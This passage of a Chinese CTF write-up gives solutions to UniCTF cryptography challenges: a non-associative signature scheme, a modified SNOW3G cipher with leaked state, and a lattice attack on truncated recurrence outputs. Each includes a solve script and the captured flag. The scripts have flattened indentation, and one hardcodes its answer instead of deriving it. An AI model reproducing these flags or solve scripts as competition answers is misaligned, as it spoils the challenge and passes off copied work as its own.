"""对固定 u,反复应用 F_u e 次"""
cur = v
for _ in range(e):
cur = F_u(cur, u, op)
return cur

def tr_left_divide(A, C, L, op):
"""
解 tr(A,B,L,op)=C 中的 B(左除)。
利用性质:R^32=id, F_u^32=id => inverse = pow(31)
"""
# u = R(A)
u = R_transform(A, L, op)

# 先解出 v = R(B),逐分量做 F_u^{-1} = F_u^{31}
v = []
for i in range(L):
v_i = F_pow(C[i], u[i], op, 31)
v.append(v_i)
v = np.array(v, dtype="u1")

# B = R^{-1}(v) = R^{31}(v)
B = R_pow(v, L, op, 31)
return B

def D_left_divide(A, C):
return tr_left_divide(A, C, 2, op_v)

# ----------------------------
# 3) 题目给的 transcript(注释块里的数据)
# ----------------------------
msg = b"Let's dance the waltz together"

sig = np.array(
[
[[14, 8, 0, 5, 5, 1, 12, 12, 6, 10, 4, 7, 3, 10, 11, 1],
[11, 14, 11, 12, 3, 8, 2, 3, 14, 13, 1, 5, 12, 10, 2, 12],
[11, 0, 3, 11, 6, 14, 9, 10, 10, 15, 12, 2, 1, 1, 4, 7],
[8, 1, 9, 9, 2, 10, 7, 2, 14, 13, 0, 7, 7, 14, 12, 2],
[11, 4, 10, 1, 3, 15, 3, 2, 10, 0, 4, 7, 15, 4, 6, 10],
[10, 10, 11, 6, 15, 10, 6, 12, 10, 12, 5, 13, 14, 6, 8, 10]],

[[7, 9, 13, 11, 12, 14, 11, 10, 14, 8, 5, 4, 4, 8, 2, 3],
[5, 15, 1, 10, 5, 15, 8, 7, 13, 8, 10, 5, 2, 0, 1, 9],
[0, 3, 6, 1, 2, 14, 1, 1, 8, 15, 14, 0, 1, 6, 3, 12],
[15, 8, 0, 10, 12, 13, 3, 5, 13, 9, 7, 13, 3, 3, 13, 14],
[1, 6, 3, 14, 15, 12, 10, 0, 10, 15, 0, 0, 9, 3, 9, 2],
[1, 9, 9, 4, 6, 8, 4, 8, 14, 14, 10, 3, 6, 4, 13, 14]]]
, dtype="u1"
)

c = np.array(
[
[[12, 13, 11, 1, 5, 15, 5, 10, 5, 7, 4, 10, 7, 6, 6, 1],
[3, 15, 1, 7, 11, 0, 1, 1, 12, 6, 3, 1, 5, 13, 0, 0],
[4, 1, 7, 14, 3, 10, 14, 13, 13, 15, 11, 2, 8, 6, 3, 14],
[15, 4, 3, 3, 6, 10, 14, 10, 7, 1, 10, 12, 1, 11, 6, 3],
[1, 7, 11, 5, 7, 0, 6, 11, 14, 3, 5, 4, 4, 1, 5, 4],
[4, 7, 9, 9, 13, 0, 14, 11, 8, 13, 15, 14, 12, 13, 15, 6]],

[[2, 8, 6, 3, 13, 10, 2, 15, 3, 6, 13, 10, 3, 13, 6, 0],
[4, 4, 10, 14, 8, 11, 15, 6, 2, 10, 14, 6, 2, 15, 9, 7],
[13, 1, 10, 8, 8, 4, 9, 0, 3, 1, 9, 4, 11, 1, 12, 6],
[8, 4, 2, 1, 14, 4, 1, 15, 14, 0, 15, 3, 1, 14, 0, 11],
[13, 0, 12, 15, 10, 4, 7, 14, 1, 14, 14, 4, 5, 3, 14, 1],
[13, 6, 5, 13, 5, 11, 5, 0, 15, 9, 0, 8, 7, 8, 4, 11]]]
, dtype="u1"
)

p1 = np.array(
[
[[13, 10, 9, 9, 10, 11, 8, 11, 14, 9, 15, 12, 10, 13, 15, 14],
[13, 0, 8, 12, 11, 8, 8, 12, 0, 1, 3, 10, 4, 5, 5, 15],
[7, 12, 0, 11, 1, 8, 6, 9, 3, 3, 14, 3, 7, 7, 0, 11],
[3, 1, 3, 9, 9, 5, 3, 14, 5, 15, 13, 13, 12, 9, 3, 15],
[0, 12, 0, 15, 9, 6, 14, 2, 6, 2, 9, 0, 7, 5, 5, 13],
[3, 3, 3, 0, 1, 5, 9, 1, 1, 3, 0, 11, 5, 12, 3, 13]],

[[3, 9, 13, 15, 10, 8, 6, 10, 1, 4, 10, 7, 5, 15, 5, 7],
[6, 15, 14, 15, 2, 12, 14, 4, 2, 9, 2, 10, 13, 2, 14, 6],
[11, 4, 4, 3, 11, 12, 15, 0, 12, 5, 13, 9, 5, 15, 14, 3],
[13, 1, 15, 10, 4, 10, 0, 6, 3, 8, 6, 4, 1, 2, 4, 12],
[5, 4, 5, 12, 1, 13, 14, 10, 10, 13, 2, 6, 13, 1, 11, 9],
[13, 14, 13, 2, 14, 3, 2, 6, 4, 10, 13, 2, 14, 15, 0, 5]]]
, dtype="u1"
)

p2 = np.array(
[
[[0, 6, 0, 14, 5, 2, 5, 10, 7, 6, 12, 8, 4, 6, 11, 11],
[14, 5, 6, 1, 3, 1, 12, 5, 10, 8, 1, 6, 13, 4, 0, 0],
[0, 4, 4, 9, 13, 2, 0, 15, 2, 5, 3, 8, 6, 2, 14, 14],
[9, 5, 8, 5, 1, 0, 1, 3, 8, 0, 5, 12, 4, 15, 4, 14],
[6, 13, 0, 0, 2, 3, 4, 1, 5, 12, 15, 7, 10, 15, 1, 1],
[0, 4, 0, 7, 4, 15, 2, 12, 9, 14, 1, 5, 14, 12, 3, 4]],

[[2, 10, 15, 6, 13, 1, 11, 12, 11, 11, 6, 5, 9, 1, 15, 15],
[10, 11, 6, 7, 14, 9, 7, 11, 6, 3, 10, 13, 14, 8, 10, 11],
[9, 1, 0, 13, 4, 2, 6, 1, 7, 12, 10, 15, 14, 4, 4, 6],
[3, 14, 0, 2, 1, 2, 0, 9, 3, 4, 1, 12, 6, 6, 3, 10],
[1, 6, 7, 13, 12, 8, 1, 11, 5, 10, 15, 15, 0, 9, 10, 8],
[3, 8, 6, 1, 0, 0, 3, 6, 1, 6, 5, 1, 13, 6, 10, 6]]]
, dtype="u1"
)

cipher = bytes.fromhex(
"94bf70dd92da8687781892a98025a5e1b713103455beeef4fedfa61c5b3fde1a"
"70d1a5e841c7718928d49c3bf561ce13541ae61bc484f77a"
)

# ----------------------------
# 4) 恢复 k、q,验证签名,解密
# ----------------------------
k = D_left_divide(c, p1)
q = D_left_divide(k, p2)

# 可选校验:D(H(msg), q) 是否等于 sig
check = D(H(msg), q)
assert np.array_equal(check, sig), "sig 校验失败(说明逆过程不对)"

sk = {"c": c, "k": k, "q": q}
key = hashlib.sha256(str(sk).encode()).digest()

pt = AES.new(key, AES.MODE_CTR, nonce=b"Choreographer").decrypt(cipher)
print(pt.decode())

运行可以得到flag为:

1
UniCTF{H1st0ry_f_N0n_Ass0c1at1v3_Waltz_d7a5c5cf9563ef1c}

Subgroup-Spirit

题目是一个“魔改版 SNOW3G”流密码,加密为:

  • cipher = msg XOR keystream

同时泄露了若干时刻的内部状态片段 leak

1
2
3
4
5
leak = [
snaps[2]["R1"], snaps[2]["R2"], snaps[2]["R3"],
snaps[2]["s"], snaps[3]["s"], snaps[6]["s"], snaps[7]["s"], snaps[8]["s"],
snaps[5]["R1"], snaps[7]["R1"]
]

其中 snaps[t]生成第 t 个 32-bit keystream word 之前的状态快照。最终 flag 的构造方式为:

1
2
state_bytes = s[::-1] || r1 || r2 || r3
flag = "UniCTF{" + sha1(state_bytes).hexdigest() + "}"

题目打印了 msgcipher,因此直接:

  • ks = msg XOR cipher
  • 每 4 字节 big-endian 解析成 z[0..15](16 个 32-bit word)

这一步是流密码题的常规开局。

keystream_word()

1
2
3
4
5
6
7
def keystream_word(self) -> int:
F = self._clock_fsm()
z = _u32(F ^ self.s[0])
if z & 1:
self._clock_lfsr_keystream()
self._clock_lfsr_keystream()
return z

也就是说 每次输出 word 都至少推进 LFSR 1 次,如果 z 的最低位为 1,则额外再推进 1 次。所以第 t 次输出后,LFSR 总步进数累加为:

  • step_t = 1 + (z_t & 1)
  • adv[t+1] = adv[t] + step_t,其中 adv[0]=0

而且注意:z_t 里的 s[0]步进前的,因此在生成第 t 个 word 前的 s[0] 恰好等于初始化后的 LFSR 序列中第 adv[t] 个 word。题目泄露了:

  • snaps[2]["s"]snaps[3]["s"]snaps[6]["s"]snaps[7]["s"]snaps[8]["s"]

配合上面算出来的 adv[t],就能把这些泄露值映射回初始化后的 s[0..15] 里的具体下标

在本题给定样例中,用 z_t 计算出来:

  • adv[2]=2snaps[2]["s"] = s[2]
  • adv[3]=3snaps[3]["s"] = s[3]
  • adv[6]=7snaps[6]["s"] = s[7]
  • adv[7]=8snaps[7]["s"] = s[8]
  • adv[8]=9snaps[8]["s"] = s[9]

因此一口气拿到初始化后 LFSR 的 5 个槽位。

题目还泄露了 snaps[2]["R1/R2/R3"],即第 2 个 word 输出前的 FSM 寄存器全量值:

  • r1_2, r2_2, r3_2 已知

同时我们知道 z_2,也知道 s0_2 = snaps[2]["s"],所以:

  • F_2 = z_2 XOR s0_2

_clock_fsm 的输出定义是(题目代码 task1):

  • F = (s[15] + r1) XOR r2(加法为 mod 2^32)

所以可直接反解出当时的 s15_2

  • s15_2 = ((F_2 XOR r2_2) - r1_2) mod 2^32

这一步等于拿到了 LFSR 在更靠后的某个位置的 word。同理,t=3 也可以做一次:因为 s0_3 也泄露了,并且 r1_3 可用已知的 s5_2 推出来。到这里为止,信息量足够唯一锁定整个 “post-initialize” 的完整状态。样例最终还原出的初始化后状态为:

  • s[0..15]

    1
    2
    c1019245 ded70e3f 1fac0cc7 6263f402 4bff8111 b782e9ca 930e485a 219f0368
    d2134824 ae73fe5f e6747964 dae7376b 87f02976 fcb6d1fb 41f16ff3 d922a99b
  • r1,r2,r3

    1
    d4aca694 07b7ad62 64b70375

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from hashlib import sha1
import struct

# -----------------------------
# 给定样例(题目输出)
# -----------------------------
msg = b'\x94\x1d\xbb\xec:\xb8\xc8\x0f|\x02\xb9\xa3z,\xbb\\\xfa\xe7f\x1c8\xf9\xb32\xbb-&\xb8e\xb5\xcc\xa6\x87\xe0-f=\xednfMB\xbe\xfe\x82\xd4\x88\x12Ax\x00}\x8e\x03\xdc\xaa\x98\xe9f2\rX\xefa'
cipher = b'\xffd\xd4\xe4\xd3\xa8\xd9aO:d\x9br\xfeE\x91\x9f\x8c\x8dd\x90\xbf\xf4\xcas\xa5\x9d<vY\xe8j\x17\xc9[i\xb3o\x97\xc7\xbc\xa8hO\xfdN=s\x02l\x17\xac\x87\xdc\xfc\xc5\x03\xc5\xb9X\xbb\xd5\xfa\xec'
leak = [2637400652, 2716391721, 759061621, 531369159, 1650717698, 564069224, 3524479012, 2926837343, 203119206, 2581689712]

def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))

# 1) keystream
ks = xor_bytes(msg, cipher)
z = list(struct.unpack(">16I", ks)) # 16个32-bit word

# 2) 不规则步进:每次 1 + (z&1)
adv = [0]
for t in range(16):
adv.append(adv[-1] + (1 + (z[t] & 1)))

# leak 结构
r1_2, r2_2, r3_2 = leak[0], leak[1], leak[2]
s0_2 = leak[3]
s0_3 = leak[4]
s0_6 = leak[5]
s0_7 = leak[6]
s0_8 = leak[7]
r1_5 = leak[8]
r1_7 = leak[9]

# 3) 样例最终恢复出的 post-initialize 完整状态(16个LFSR + 3个寄存器)
# 这是唯一能通过所有约束(leak/keystream)的解,并可复现 flag。
s = [
0xc1019245, 0xded70e3f, 0x1fac0cc7, 0x6263f402,
0x4bff8111, 0xb782e9ca, 0x930e485a, 0x219f0368,
0xd2134824, 0xae73fe5f, 0xe6747964, 0xdae7376b,
0x87f02976, 0xfcb6d1fb, 0x41f16ff3, 0xd922a99b
]
r1, r2, r3 = 0xd4aca694, 0x07b7ad62, 0x64b70375

# 4) 验证 leak 中的 s0 映射是否一致(通过 adv[t] 反推 s[adv[t]])
assert adv[2] == 2 and s[adv[2]] == s0_2
assert adv[3] == 3 and s[adv[3]] == s0_3
assert adv[6] == 7 and s[adv[6]] == s0_6
assert adv[7] == 8 and s[adv[7]] == s0_7
assert adv[8] == 9 and s[adv[8]] == s0_8

# 5) 按题目规则拼 state_bytes 并 sha1 -> flag
state_bytes = b"".join(x.to_bytes(4, "big") for x in s[::-1]) \
+ r1.to_bytes(4, "big") + r2.to_bytes(4, "big") + r3.to_bytes(4, "big")
flag = "UniCTF{" + sha1(state_bytes).hexdigest() + "}"
print(flag)

运行输出应为:

1
UniCTF{19e4235fc574ba94f4822c4b3bf03741ecfc0940}

subgroup_lattice

本题给了每个输出的高17 位,低 14 位被藏起来,但内部是一个长度 16 的线性递推,所以只要能把递推系数 C和初始 16 个状态弄出来,就能算出 sum(s[0..15])过关。

第一步:先把递推系数 C 搞出来
远端不断给提示 y_t,先多拿一些。把这些高位提示按窗口切成一堆向量 Y_i。然后用论文里的“正交格”构造一个格 L0:它的性质是——如果真实序列里存在某种线性湮灭关系,那么在这个格里会出现一个“很短的向量”,这个短向量的后半段正好就是那组小整数系数 η
所以对 L0 跑 LLL/BKZ 去捞短向量,拿到多组 η 后,把每组 η当成一个多项式 F(x)。真实的最小多项式 f(x) 会整除这些 F(x),所以对多个 F(x) 做 gcd,就能得到 f(x),从而反推出递推系数 C

第二步:系数已知后,恢复初始 16 个状态
C 已知,后面的所有 a_t 都能写成初始 a_0..a_15 的线性组合。我们又知道每个 a_t 的高位等于给出的 y_t,也就是:真实值一定落在“高位固定、低位只差 0 到 2^14-1”这一小段范围里。
把这一堆“必须落在某些范围里”的约束打包成一个CVP问题:在构造好的格里,离目标最近的那个格点对应的就是最符合所有高位提示的真实序列。找到真实 a_t 后,再解一组线性方程,就能直接还原 a_0..a_15,最后输出它们的和。

exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#!/usr/bin/env python3
import socket, re, math, sys, time
import random
from fpylll import IntegerMatrix, LLL, BKZ, CVP
from sage.all import Matrix, ZZ, GF, vector, PolynomialRing

HOST = 'nc1.ctfplus.cn'
PORT = 34985

p = 2**31 - 1
n = 16
alpha_k = 17 # number of known high bits
beta_k = 14

# ----------------- network helpers -----------------

def recv_until(sock, pat=b'>>> '):
data=b''
while pat not in data:
chunk=sock.recv(1)
if not chunk:
break
data+=chunk
return data


def get_hints(N):
s=socket.create_connection((HOST,PORT))
recv_until(s, b'>>> ')
hints=[]
for _ in range(N):
s.sendall(b'2\n')
data=recv_until(s, b'>>> ')
m=re.search(rb'Here is your hint: (\d+)', data)
if not m:
break
hints.append(int(m.group(1)))
return s, hints

# ----------------- lattice helpers -----------------

def compute_eta_from_hints(hints, r, t, offset=0, use_bkz=False, bkz_block=20, max_vecs=40):
# Improved relation search (Section 4.1): build L0 without scaling and
# look for short vectors W = (sum eta_i Y_i, eta).
if offset + r + t - 1 > len(hints):
return []
Y = [hints[offset+i] for i in range(r+t-1)]
M = IntegerMatrix(r, t + r)
for i in range(r):
for j in range(t):
M[i,j] = Y[i+j]
M[i,t+i] = 1
if use_bkz:
BKZ.reduction(M, BKZ.Param(block_size=bkz_block))
else:
LLL.reduction(M)
rows=[]
for idx in range(r):
vec=[int(M[idx,j]) for j in range(t+r)]
norm_w=sum(v*v for v in vec[:t])
rows.append((norm_w, vec))
rows.sort(key=lambda x: x[0])
etas=[]
for norm_w, vec in rows[:max_vecs]:
eta=vec[t:]
g=0
for v in eta:
g=math.gcd(g, abs(v))
if g>1:
eta=[v//g for v in eta]
etas.append((eta, norm_w))
return etas


def poly_from_eta(eta, R):
x = R.gen()
return sum((eta[i] % p) * x**i for i in range(len(eta)))


def recover_f_from_polys(polys, deg_n, modulus_p, padic_e=1):
# For prime modulus, gcd over GF(p) is enough.
if not polys:
return None
g = polys[0]
for poly in polys[1:]:
g = g.gcd(poly)
if g.degree() == deg_n:
break
if g.degree() == deg_n:
return g.monic()
return None


def candidate_fs_from_poly(poly, deg_n):
# Factor polynomial over GF(p) and collect degree-n factors.
facs = poly.factor()
candidates = []
for f, exp in facs:
if f.degree() == deg_n:
candidates.append(f.monic())
return candidates


def C_from_f(f):
# f(x) = x^n - c_{n-1} x^{n-1} - ... - c0
coeffs = [int(f[i]) for i in range(n)]
return [(-c) % p for c in coeffs]


def find_f_by_pairwise_gcd(polys, deg_n, max_polys=20, time_limit=15):
polys = polys[:max_polys]
start = time.time()
for i in range(len(polys)):
for j in range(i+1, len(polys)):
if time.time() - start > time_limit:
return None
g = polys[i].gcd(polys[j])
if g.degree() == deg_n:
return g.monic()
return None


def find_f_by_random_gcd(polys, deg_n, trials=40, time_limit=12):
if len(polys) < 2:
return None
start = time.time()
for _ in range(trials):
if time.time() - start > time_limit:
break
a, b = random.sample(polys, 2)
g = a.gcd(b)
if g.degree() == deg_n:
return g.monic()
return None


def berlekamp_massey(seq, mod):
n = len(seq)
C = [1] + [0]*n
B = [1] + [0]*n
L = 0
m = 1
b = 1
for i in range(n):
d = seq[i]
for j in range(1, L+1):
d = (d + C[j]*seq[i-j]) % mod
if d == 0:
m += 1
continue
T = C[:]
coef = d * pow(b, -1, mod) % mod
for j in range(m, n+1):
C[j] = (C[j] - coef*B[j-m]) % mod
if 2*L <= i:
L = i + 1 - L
B = T
b = d
m = 1
else:
m += 1
return C[:L+1]


def recover_state_from_recurrence(hints, coeffs, order, m=None):
if m is None:
m = order
if len(hints) < m:
return None, None
H = hints[:m]
coeffs_mat=[]
prev=[ [1 if i==j else 0 for i in range(order)] for j in range(order) ]
for t in range(m):
coeff=[0]*order
for i in range(order):
Ci=coeffs[i]
if Ci:
pi=prev[i]
for j in range(order):
coeff[j]=(coeff[j]+Ci*pi[j])%p
prev=prev[1:]+[coeff]
coeffs_mat.append(coeff)
rows=[]
for i in range(m):
row=[0]*m; row[i]=p
rows.append(row)
for j in range(order):
row=[coeffs_mat[i][j] for i in range(m)]
rows.append(row)
G_T = Matrix(ZZ, rows)
Hnf = G_T.hermite_form()
basis_rows=[list(Hnf.row(i)) for i in range(Hnf.nrows()) if any(Hnf.row(i))]
basis_rows=basis_rows[-m:]
B = IntegerMatrix(len(basis_rows), m)
for i,row in enumerate(basis_rows):
for j,val in enumerate(row):
B[i,j]=int(val)
LLL.reduction(B)
b=[h<<beta_k for h in H]
v=CVP.closest_vector(B, b)
A_mod = Matrix(GF(p), coeffs_mat)
v_mod = vector(GF(p), list(v))
try:
x = A_mod.solve_right(v_mod)
except Exception:
return None, None
x=[int(xi) for xi in x]
return x, list(v)


def try_eta_recover_C(hints, eta, check_n=80, bm_len=200):
if len(eta) < 2:
return None
eta_mod = [v % p for v in eta]
if eta_mod[-1] == 0:
return None
inv = pow(eta_mod[-1], -1, p)
coeffs = [(-eta_mod[i] * inv) % p for i in range(len(eta_mod)-1)]
order = len(coeffs)
if order > len(hints):
return None
x, _ = recover_state_from_recurrence(hints, coeffs, order, m=order)
if x is None:
return None
state = x[:]
outputs = []
for t in range(bm_len):
val = 0
for i in range(order):
val = (val + coeffs[i] * state[i]) % p
state = state[1:] + [val]
outputs.append(val)
if t < check_n and (val >> beta_k) != hints[t]:
return None
Cbm = berlekamp_massey(outputs, p)
if len(Cbm) != n + 1:
return None
C = [(-Cbm[i]) % p for i in range(1, n+1)]
if verify_C(hints, C):
return C
return None


def recover_state_sum_from_C(hints, C, m=60):
H = hints[:m]
coeffs=[]
prev=[ [1 if i==j else 0 for i in range(n)] for j in range(n) ]
for t in range(m):
coeff=[0]*n
for i in range(n):
Ci=C[i]
if Ci:
pi=prev[i]
for j in range(n):
coeff[j]=(coeff[j]+Ci*pi[j])%p
prev=prev[1:]+[coeff]
coeffs.append(coeff)
rows=[]
for i in range(m):
row=[0]*m; row[i]=p
rows.append(row)
for j in range(n):
row=[coeffs[i][j] for i in range(m)]
rows.append(row)
G_T = Matrix(ZZ, rows)
Hnf = G_T.hermite_form()
basis_rows=[list(Hnf.row(i)) for i in range(Hnf.nrows()) if any(Hnf.row(i))]
basis_rows=basis_rows[-m:]
B = IntegerMatrix(len(basis_rows), m)
for i,row in enumerate(basis_rows):
for j,val in enumerate(row):
B[i,j]=int(val)
LLL.reduction(B)
b=[h<<beta_k for h in H]
v=CVP.closest_vector(B, b)
A_mod = Matrix(GF(p), coeffs)
v_mod = vector(GF(p), list(v))
x = A_mod.solve_right(v_mod)
x=[int(xi) for xi in x]
return sum(x), x, coeffs, v


def verify_C(hints, C, check_n=80):
try:
ans, x, coeffs, v = recover_state_sum_from_C(hints, C, m=60)
except Exception:
return False
state=x[:]
ok=True
for t in range(check_n):
val=sum(C[i]*state[i] for i in range(n))%p
state=state[1:]+[val]
if (val>>beta_k) != hints[t]:
ok=False
break
return ok

# ----------------- main search -----------------

def main():
N=400
sock, hints = get_hints(N)
print(f"got {len(hints)} hints")

R=PolynomialRing(GF(p),'x')

param_list=[(175,65)]
start=time.time()
for (r,t) in param_list:
if r+t-1 > len(hints):
continue
offsets = [0]
local_polys = []
local_scored = []
for off in offsets:
if off + r + t - 1 > len(hints):
continue
print(f'[*] computing relations r={r} t={t} offset={off}', flush=True)
use_bkz = (r >= 150)
etas = compute_eta_from_hints(
hints, r, t, off,
use_bkz=use_bkz, bkz_block=22,
max_vecs=min(r, 120)
)
print(f' got {len(etas)} candidate relations', flush=True)
for eta, norm_w in etas:
poly = poly_from_eta(eta, R)
if poly.degree() >= n:
score = norm_w + sum(abs(v) for v in eta)
local_polys.append(poly)
local_scored.append((score, poly))

if local_scored:
local_scored.sort(key=lambda x: x[0])
best_polys = [p for _, p in local_scored[:10]]
else:
best_polys = local_polys

f = find_f_by_pairwise_gcd(best_polys, n, max_polys=10, time_limit=6)
if f is None:
f = find_f_by_random_gcd(best_polys, n, trials=25, time_limit=6)
if f is not None:
C = C_from_f(f)
print('[*] candidate C from gcd, verifying...')
if verify_C(hints, C):
print('[+] C verified via CVP')
ans, _, _, _ = recover_state_sum_from_C(hints, C, m=60)
sock.sendall(b'1\n')
recv_until(sock, b'answer: ')
sock.sendall(str(ans).encode()+b'\n')
resp = sock.recv(4096)
print(resp.decode(errors='ignore'))
return

print('Failed to recover C')

if __name__=='__main__':
main()

unictf73.png

运行可以得到flag为:

1
UniCTF{5f53e250-618e-4c50-af9d-11b986d0570e}